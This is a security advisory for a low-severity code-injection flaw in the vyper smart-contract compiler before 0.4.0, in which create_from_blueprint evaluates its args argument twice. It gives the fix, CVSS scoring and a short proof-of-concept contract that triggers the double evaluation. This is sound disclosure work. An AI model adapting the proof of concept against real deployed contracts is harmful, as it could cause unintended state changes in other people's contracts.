Improper Control of Generation of Code ('Code Injection') Affecting vyper package, versions [0, 0.4.0)


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (10th percentile)

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  • Snyk ID SNYK-PYTHON-VYPER-6674052
  • published 26 Apr 2024
  • disclosed 25 Apr 2024
  • credit Unknown

How to fix?

Upgrade vyper to version 0.4.0 or higher.

Overview

vyper is a Pythonic Smart Contract Language for the EVM.

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') due to the _build_create_IR function of the create_from_blueprint builtin not caching the args argument to the stack, leading to its potential evaluation multiple times instead of retrieving the value from the stack. This could allow an attacker to trigger unintended behavior by exploiting the double evaluation of args.

PoC


src1 = """
c: uint256
"""
deployer = """
created_address: public(address)
deployed: public(uint256)

@external
def get() -> Bytes[32]:
    self.deployed += 1
    return b''

@external
def create_(target: address):
    self.created_address = create_from_blueprint(target, raw_call(self, method_id("get()"), max_outsize=32), raw_args=True, code_offset=3)
"""

Factory = b.loads_partial(src1)
c = Factory.deploy_as_blueprint()

c2 = b.loads(deployer, b'')
c2.create_(c)
c2.deployed()

CVSS Scores

version 3.1
Expand this section

Snyk

3.7 low
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    Low
  • Availability (A)
    None